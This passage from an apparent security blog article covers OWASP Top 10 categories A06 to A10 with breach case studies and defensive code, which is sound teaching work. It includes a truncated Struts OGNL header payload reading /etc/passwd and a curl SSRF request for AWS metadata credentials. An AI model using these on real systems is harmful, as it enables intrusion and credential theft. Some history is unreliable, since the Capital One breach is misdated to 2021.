- Encrypting sensitive configuration values (passwords, API keys) in transit and at rest
For organizations managing Privilege Escalation vulnerabilities, misconfigured permissions are often the root cause — hardening these settings prevents entire attack chains before they begin.
A06: Vulnerable and Outdated Components
This category covers risks introduced by using third-party software components with known vulnerabilities. As modern applications rely heavily on open-source libraries, package managers, and external services, the attack surface expands far beyond custom code. The Equifax breach of 2017 remains the definitive case study: attackers exploited CVE-2017-5638, a Remote Code Execution vulnerability in Apache Struts 2, to exfiltrate sensitive data on over 147 million consumers. The vulnerability had a public patch available for months before the breach occurred.
The Scope of the Problem
Vulnerable and outdated components manifest in several forms:
- Unpatched libraries with known CVEs (e.g., Log4Shell CVE-2021-44228)
- End-of-life software no longer receiving security updates (e.g., Java 8, Python 2.7)
- Transitive dependencies - libraries pulled in by your direct dependencies, often invisible to developers
- Misconfigured package sources that pull from public repositories without integrity verification
The risk is compounded by the sheer volume of dependencies in modern applications. A typical Node.js project may contain 1,000+ transitive dependencies, each a potential entry point.
Real Exploit: Equifax and Apache Struts
The Equifax attackers used CVE-2017-5638, a Struts 2 vulnerability in the Jakarta Multipart parser. By crafting a malicious Content-Type header, they achieved remote code execution on internet-facing web servers. The exploit required no authentication:
Content-Type: %{(#_='multipart/form-data')...(#cmd='cat /etc/passwd')...}
The payload executed arbitrary OGNL expressions, giving attackers a foothold to pivot internally. Equifax had failed to update Struts despite the patch being available for two months.
Mitigation Strategy
1. Maintain a Software Bill of Materials (SBOM)
An SBOM is a machine-readable inventory of all components, their versions, and dependencies. Formats like CycloneDX or SPDX enable automated vulnerability scanning. Generate SBOMs at build time and store them alongside artifacts:
{
"bomFormat": "CycloneDX",
"components": [
{
"name": "commons-fileupload",
"version": "1.3.2",
"purl": "pkg:maven/commons-fileupload/[email protected]"
}
]
}
2. Automate Dependency Scanning
Integrate tools like OWASP Dependency-Check or Snyk into CI/CD pipelines. These tools compare dependency versions against the National Vulnerability Database (NVD) and alert on known CVEs.
3. Pin Dependency Versions
Avoid version ranges in package manifests. In Maven pom.xml, specify exact versions:
<dependency>
<groupId>org.apache.struts</groupId>
<artifactId>struts2-core</artifactId>
<version>2.5.12</version>
</dependency>
4. Monitor for Transitive Vulnerabilities
Use mvn dependency:tree or npm ls --all to visualize the full dependency graph. Tools like Dependabot and Renovate automatically create pull requests for version bumps.
5. Establish a Patching Cadence
Define SLAs for vulnerability remediation based on CVSS scores. Critical vulnerabilities (CVSS 9.0+) should be patched within 48 hours. Maintain a register of all components and their support status - anything end-of-life must be replaced or isolated behind network controls.
The Equifax breach cost over $1.4 billion in settlements. Proactive component management through SBOMs, automated scanning, and strict version pinning is no longer optional - it is a regulatory and operational necessity. For more on supply chain risk, see our latest breach reports and threat intelligence on real-world exploitation patterns.
A07: Identification and Authentication Failures
Formerly known as “Broken Authentication,” this category encompasses weaknesses in how systems verify user identity and manage sessions. The 2021 update broadened the scope to include identification failures - cases where the system cannot reliably determine who a user is, not just whether they are authenticated. Common flaws include weak password policies, session fixation, credential stuffing, and missing or flawed multi-factor authentication (MFA).
Real-World Exploit: The 2020 Twitter Hack
One of the most high-profile examples of an identification and authentication failure was the July 2020 Twitter breach. Attackers used social engineering to trick Twitter employees into providing credentials through a phone-based pretexting attack. Once inside the internal admin tools, the attackers did not need to crack passwords or exploit code - they simply used legitimate credentials to reset the passwords of high-profile accounts (including Elon Musk, Barack Obama, and Joe Biden) and post a Bitcoin scam.
This attack exploited a failure in identification: Twitter’s internal systems did not have sufficient controls to distinguish between a legitimate employee and an attacker who had stolen their credentials. The absence of hardware-based MFA on administrative accounts was a direct contributing factor. The breach resulted in 130 tweets from verified accounts and an estimated $120,000 in Bitcoin fraud, along with significant reputational damage and regulatory scrutiny.
Attack Vectors in Practice
Credential stuffing remains the most common attack pattern. Attackers obtain username/password pairs from previous breaches (available on paste sites or dark web forums) and automate login attempts across target applications. Tools like Hydra, Burp Intruder, and custom Python scripts using requests libraries can test thousands of credentials per minute.
Session hijacking occurs when an attacker steals a valid session token - often via XSS, network sniffing on unencrypted connections, or predictable session IDs. Once the token is captured, the attacker impersonates the user without needing their password.
Password spraying targets weak passwords across many accounts rather than brute-forcing a single account. Attackers try common passwords like “Password123” or “Spring2024” against thousands of usernames, bypassing account lockout policies that trigger after a few failed attempts per user.
Mitigation Strategies
The primary defense is multi-factor authentication (MFA). Deploying MFA - especially hardware-based tokens (FIDO2, YubiKey) or time-based one-time passwords (TOTP) - reduces credential theft risk by orders of magnitude. For web applications, enforce MFA for all administrative accounts and consider risk-based authentication for regular users.
Secure session management is equally critical. Sessions should use cryptographically random tokens, set the HttpOnly and Secure flags on cookies, and implement short expiration times. Below is a Node.js example using express-session with secure defaults:
const session = require('express-session');
app.use(session({
secret: process.env.SESSION_SECRET, // Use a strong, random secret
resave: false,
saveUninitialized: false,
cookie: {
httpOnly: true, // Prevents client-side JS access
secure: true, // Only sent over HTTPS
sameSite: 'strict', // Mitigates CSRF
maxAge: 1800000 // 30 minutes session lifetime
}
}));
Additional mitigations include:
- Rate limiting login attempts (e.g., 5 attempts per IP per 15 minutes)
- Credential stuffing detection using device fingerprinting, IP reputation, and behavioral analytics
- Password policies that enforce minimum length (12+ characters) rather than complexity rules
- Session invalidation on password change, logout, and idle timeout
- OWASP Authentication Cheat Sheet as a comprehensive design reference
Testing for Authentication Failures
Penetration testers should verify:
- Session tokens are regenerated after login and privilege escalation
- MFA cannot be bypassed by manipulating HTTP headers or parameters
- Password reset flows require identity verification beyond email access
- Account enumeration is prevented (e.g., generic error messages for “user not found” vs “wrong password”)
Automated scanners like Burp Suite’s Active Scanner and Nuclei can detect basic authentication weaknesses, but manual testing is required for logic flaws such as race conditions in login flows or insecure password recovery mechanisms.
A08: Software and Data Integrity Failures
Software and Data Integrity Failures was introduced as a new standalone category in the 2021 OWASP Top 10, reflecting the industry’s growing recognition of supply chain attacks as a critical threat vector. This category covers vulnerabilities where software or data updates, build pipelines, or deployment artifacts are not verified for integrity before use. The core assumption that code from trusted sources remains unmodified during transit or storage is no longer safe.
The Supply Chain Attack Paradigm
Modern software development relies on a complex web of dependencies, third-party libraries, CI/CD pipelines, and automated deployment systems. An attacker who compromises any single link in this chain can inject malicious code into a product that is then distributed to thousands of downstream customers. Unlike traditional vulnerabilities that require direct exploitation of an application, supply chain attacks exploit trust relationships between developers, repositories, and deployment tools.
Real Exploit: SolarWinds Orion (2020)
The SolarWinds Orion breach remains the most significant software integrity failure in history. Attackers compromised the build environment for SolarWinds’ Orion IT monitoring platform and injected a backdoor called SUNBURST into legitimate software updates. Over 18,000 organizations downloaded the trojanized updates, including multiple U.S. federal agencies and Fortune 500 companies.
The attack vector was deceptively simple: SolarWinds digitally signed their builds, but the signing occurred after the malicious code had been inserted. The attacker-controlled build process signed the backdoored DLLs with SolarWinds’ legitimate code-signing certificate. Victims verified the digital signature and trusted the software, never suspecting the integrity failure occurred before the signing step.
SUNBURST operated through a DNS-based command and control channel, sleeping for two weeks before activating. It blended into legitimate Orion traffic, making detection by traditional signature-based tools nearly impossible. The breach went undetected for months, demonstrating that integrity verification at the point of consumption is insufficient without chain-of-custody validation throughout the build pipeline.
Common Attack Vectors
Unverified third-party dependencies remain the most exploited vector. Attackers publish malicious packages to public repositories like npm, PyPI, and Maven with names similar to popular libraries (typosquatting), or compromise maintainer accounts to push malicious updates to legitimate packages.
Insecure CI/CD pipelines allow attackers to inject code during the build process. Common weaknesses include:
- Hardcoded credentials in pipeline configuration files
- Overly permissive access to build servers and artifact repositories
- Lack of integrity verification for build tools and base images
- Missing or bypassed code review gates for critical environments
Unvalidated update mechanisms in client software allow man-in-the-middle attacks or compromised update servers to distribute malicious payloads. Applications that download and execute updates without cryptographic verification are vulnerable to trivial exploitation.
Mitigation Strategies
Code signing with hardware security modules (HSMs) ensures that only authorized builds receive valid signatures. The signing process must occur in a controlled, audited environment with strict access controls. Private keys should never be accessible from build servers or developer workstations.
Software Bill of Materials (SBOM) generation and verification provides transparency into every component included in a build. Organizations should verify SBOMs against known vulnerability databases and enforce policies that block builds containing unapproved or outdated dependencies.
CI/CD pipeline integrity requires multi-factor authentication for all pipeline operations, signed commits with GPG keys, and immutable build logs. The following example demonstrates signature verification in a CI/CD pipeline using cosign:
jobs:
verify:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Verify image signature
uses: sigstore/[email protected]
with:
cosign-release: 'v2.4.0'
- name: Verify container image
run: |
cosign verify \
--key k8s://default/cosign-public-key \
registry.example.com/app:latest \
--check-claims=true \
--insecure-ignore-tlog=false
- name: Attestation verification
run: |
cosign verify-attestation \
--type slsaprovenance \
--key k8s://default/cosign-public-key \
registry.example.com/app:latest
Integrity monitoring should extend beyond deployment to runtime. File integrity monitoring (FIM) tools like OSSEC or Wazuh detect unauthorized changes to deployed binaries and configuration files. Combined with immutable infrastructure patterns, FIM provides early warning of post-deployment compromise.
Dependency pinning with hash verification prevents supply chain attacks through package repository compromise. Use lockfiles (package-lock.json, requirements.txt with hashes, go.sum) and verify checksums before installation.
OWASP Supply Chain Security Reference
OWASP maintains the Software Supply Chain Security project, which provides detailed guidance on threat modeling, dependency verification, and build pipeline hardening. Key recommendations include the Supply Chain Levels for Software Artifacts (SLSA) framework, which defines progressive security levels for build and deployment processes. Organizations should target SLSA Level 3 or higher, which requires:
- Build as code with fully scripted and auditable processes
- Isolated build environments with no user access
- Signed provenance attestations for all artifacts
- Hermetic builds that do not depend on external network resources
For a comprehensive list of real-world supply chain compromise case studies, see Yazoul Security’s latest breach reports, which track ongoing attacks against software development infrastructure.
A09: Security Logging and Monitoring Failures
Security Logging and Monitoring Failures occur when organizations fail to generate, store, or analyze audit logs that could detect malicious activity in time. The 2021 OWASP Top 10 elevated this category from A10 to A09, reflecting the critical role logging plays in incident response, forensics, and compliance. Without adequate monitoring, attackers can operate undetected for weeks or months, and breaches often come to light only through external notifications rather than internal detection.
The 2016 Dyn DDoS Attack: A Case Study in Monitoring Failure
The October 2016 distributed denial-of-service (DDoS) attack against Dyn, a major DNS provider, took down high-profile sites including Twitter, Netflix, and Reddit. The attack leveraged the Mirai botnet, which compromised hundreds of thousands of IoT devices. While the attack itself was volumetric, the deeper failure was a lack of monitoring and logging that could have detected the Mirai infection vector earlier. Dyn had insufficient visibility into anomalous DNS query patterns and device behavior, allowing the botnet to build its army of compromised devices over months. Post-incident analysis revealed that better logging of device registration and traffic anomalies could have triggered alerts weeks before the attack peaked at 1.2 Tbps.
Core Requirements for Effective Logging
The OWASP Logging Cheat Sheet provides the baseline for security logging. Every application should log:
- Authentication events (successes and failures)
- Authorization failures (access denied)
- Input validation failures
- Session management events (creation, destruction, timeout)
- Privilege escalation attempts
- Critical data access (PII, payment data)
- System errors and exceptions
Logs must include: timestamp (UTC), source IP, user ID, event type, severity level, and a unique request identifier for correlation. Crucially, logs must never contain sensitive data such as passwords, session tokens, or full credit card numbers.
Python Logging Example with Security Events
import logging
import json
from datetime import datetime, timezone
# Configure secure logging
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',
handlers=[
logging.FileHandler('/var/log/security/events.log'),
logging.StreamHandler()
]
)
security_logger = logging.getLogger('security_events')
def log_auth_event(user_id, source_ip, success, failure_reason=None):
event = {
'timestamp': datetime.now(timezone.utc).isoformat(),
'event_type': 'authentication',
'user_id': user_id,
'source_ip': source_ip,
'success': success,
'failure_reason': failure_reason
}
if success:
security_logger.info(json.dumps(event))
else:
security_logger.warning(json.dumps(event))
def log_access_denied(user_id, resource, method):
event = {
'timestamp': datetime.now(timezone.utc).isoformat(),
'event_type': 'authorization_failure',
'user_id': user_id,
'resource': resource,
'method': method
}
security_logger.error(json.dumps(event))
SIEM Integration and Centralized Logging
Centralized logging with a SIEM (Security Information and Event Management) system is the standard approach. The ELK stack (Elasticsearch, Logstash, Kibana) is a popular open-source solution. Logstash ingests logs from multiple sources, Elasticsearch indexes them, and Kibana provides dashboards and alerting. Modern SIEMs like Splunk, Microsoft Sentinel, and Wazuh add machine learning for anomaly detection and correlation rules.
Key monitoring rules to implement:
| Rule | Example | Alert Trigger |
|---|---|---|
| Brute force detection | 10 failed logins in 5 minutes | Account lockout notification |
| Impossible travel | Login from US then Asia in 10 minutes | Account compromise alert |
| Privilege escalation | User added to admin group | Immediate investigation |
| Data exfiltration | 1GB outbound in 1 hour | Network team notification |
Common Implementation Pitfalls
- Logging too little: Only logging errors, not security events
- Logging too much: Capturing sensitive data or generating noise that buries real alerts
- No log rotation: Disk fills, logs stop writing
- No time synchronization: Without NTP, correlation across systems fails
- No log integrity: Attackers modify or delete logs after compromise
- No alerting: Logs exist but no one reviews them
Mitigation Checklist
- Implement the OWASP Logging Cheat Sheet as a development standard
- Deploy a SIEM or centralized logging platform (ELK, Splunk, Sentinel)
- Set up real-time alerting for critical events
- Protect log integrity with write-once storage or cryptographic signing
- Conduct regular log review and incident response drills
- Ensure logs are retained for at least 90 days (or per regulatory requirements)
- Test logging during penetration tests and red team exercises
Without proper logging and monitoring, even the best defenses against Remote Code Execution vulnerabilities or SQL Injection vulnerabilities remain blind to active exploitation. Logging is not just about compliance — it is the only way to know if your security controls are actually working.
A10: Server-Side Request Forgery (SSRF)
Server-Side Request Forgery (SSRF) occurs when an attacker induces a server-side application to make HTTP requests to an arbitrary domain or IP address. The vulnerability arises when user-supplied input, such as URLs or IP addresses, is used to construct backend requests without proper validation. SSRF attacks typically target internal systems, cloud metadata endpoints, or services that are not exposed to the public internet.
SSRF was elevated to the OWASP Top 10 in 2021, reflecting its growing prevalence in cloud-native architectures. The impact ranges from accessing internal services to full cloud credential theft and remote code execution.
Real Exploit: Capital One SSRF (2021)
The most notorious SSRF exploit occurred in 2021 against Capital One, affecting over 100 million customer records. The attacker exploited an SSRF vulnerability in a web application firewall (WAF) configuration that allowed the application to make requests to internal AWS metadata endpoints.
The attack chain worked as follows:
- The attacker identified a parameter in the application that accepted a URL and fetched its content
- The attacker supplied the AWS instance metadata endpoint:
http://169.254.169.254/latest/meta-data/iam/security-credentials/ - The server retrieved the metadata response, which contained temporary AWS credentials
- With those credentials, the attacker accessed an S3 bucket containing customer data
The exploit command was as simple as:
curl -X POST https://target-app.example.com/fetch \
-d 'url=http://169.254.169.254/latest/meta-data/iam/security-credentials/'
The root cause was the absence of server-side validation on the target URL. The application trusted user input without checking whether the destination was an internal or external resource.
SSRF Attack Vectors
SSRF attacks typically target three categories of internal resources:
| Target Type | Example Endpoint | Risk |
|---|---|---|
| Cloud metadata | http://169.254.169.254/ | IAM credentials, instance identity |
| Internal services | http://localhost:9200/ | Elasticsearch, Redis, internal APIs |
| File system access | file:///etc/passwd | Local file disclosure |
Attackers also use DNS rebinding, IPv6-to-IPv4 mapping, and URL obfuscation techniques to bypass basic blocklists.
Mitigation: URL Validation and Network Controls
The primary defense against SSRF is strict validation of all user-supplied URLs before the server processes them. The following Java example demonstrates a robust validation approach:
import java.net.URI;
import java.net.URISyntaxException;
import java.util.Arrays;
import java.util.List;
public class SSRFValidator {
private static final List<String> BLOCKED_SCHEMES = Arrays.asList("file", "ftp", "gopher", "dict");
private static final List<String> ALLOWED_HOSTS = Arrays.asList("api.trusted.com", "cdn.trusted.com");
public static boolean validateUrl(String urlString) {
try {
URI uri = new URI(urlString);
// Reject dangerous schemes
if (BLOCKED_SCHEMES.contains(uri.getScheme().toLowerCase())) {
return false;
}
// Reject private IP ranges
String host = uri.getHost();
if (isPrivateIP(host)) {
return false;
}
// Allow only whitelisted hosts
if (!ALLOWED_HOSTS.contains(host)) {
return false;
}
return true;
} catch (URISyntaxException e) {
return false;
}
}
private static boolean isPrivateIP(String host) {
return host.equals("localhost") ||
host.equals("127.0.0.1") ||
host.startsWith("10.") ||
host.startsWith("192.168.") ||
host.startsWith("172.16.") ||
host.equals("169.254.169.254");
}
}
Additional Mitigations
Network-level controls provide a defense-in-depth layer:
- Deploy egress firewalls that block outbound traffic to private IP ranges
- Use web application firewalls (WAFs) with SSRF-specific rules
- Configure cloud security groups to restrict instance metadata access
- Implement DNS-based filtering to prevent resolution of internal hostnames
Application-level controls include:
- Maintain an allowlist of permitted destination domains or IPs
- Disable HTTP redirects or validate the final destination after redirects
- Use a dedicated URL parsing library that handles edge cases (e.g.,
java.net.URIinstead of string parsing) - Strip or reject URLs containing IP addresses in decimal, octal, or hex formats
For a complete prevention strategy, reference the OWASP SSRF Prevention Cheat Sheet.
Detection and Testing
To identify SSRF vulnerabilities in your applications:
- Test URL parameters, form fields, and API endpoints that fetch external content
- Use a collaborator service (e.g., Burp Collaborator, interactsh) to detect outbound requests
- Monitor server logs for requests to internal IP ranges from application servers
- Scan for cloud metadata endpoint access attempts
SSRF remains one of the most impactful web vulnerabilities in modern cloud environments. Proper input validation, combined with network segmentation and monitoring, provides the strongest defense against exploitation.
Conclusion and Key Takeaways
The OWASP Top 10 (2021–2026) reflects a fundamental shift in the application security landscape. Broken access control now dominates, injection attacks remain persistent, and cryptographic failures expose systemic weaknesses in how organizations handle sensitive data. The inclusion of SSRF as a new category signals that cloud-native architectures and server-side request patterns have created novel attack surfaces that traditional defenses often miss.
The common thread across all categories is the failure of proactive defense. Most exploited vulnerabilities are not zero-days — they are known, preventable issues that organizations failed to detect or remediate. The 2021 update’s emphasis on CWEs over generic categories forces security teams to think in terms of specific weakness patterns rather than abstract risk labels.
To operationalize these lessons:
- Integrate security testing early — Static analysis (SAST) during development, dynamic analysis (DAST) during staging, and dependency scanning continuously. Tools like OWASP ZAP provide free, automated DAST that catches SSRF, injection, and misconfiguration issues before production deployment.
- Adopt a risk-based prioritization model — Not all findings are equal. Focus on A01 (broken access control) and A03 (injection) as immediate remediation targets given their prevalence and impact.
- Implement defense in depth — No single control is sufficient. Combine input validation, output encoding, strict access controls, and comprehensive logging to create overlapping layers of protection.
- Leverage OWASP resources — The OWASP Cheat Sheet Series provides actionable guidance for every category. The OWASP Testing Guide offers methodology for validating controls. Join local OWASP chapters for community-driven threat intelligence.
The threat landscape will continue evolving, but the fundamentals remain constant: validate all input, enforce least privilege, encrypt everywhere, and assume compromise. Organizations that treat the OWASP Top 10 as a minimum baseline — not a compliance checkbox — will reduce their breach surface area by orders of magnitude.
The time to act is now. Audit your applications against these categories today. Deploy automated scanning. Train developers on secure coding patterns. The cost of prevention is always lower than the cost of incident response.
Never miss a security resource
Get real-time security alerts delivered to your preferred platform.
Related Resources
Learn how SQL injection attacks work, how to detect them, and modern prevention techniques to secure your databases against this common web vulnerability.
Step-by-step guide to establishing a comprehensive vulnerability management program. Learn key components, implementation strategies, and best practices for continuous security improvement.
Explore the complete cybersecurity career roadmap for 2026, from entry-level roles to principal security engineer, with skills, certifications, and salary insights.
Learn how the OSI model's 7 layers map to modern cybersecurity threats. Essential reading for security engineers to understand attack vectors and defense strategies.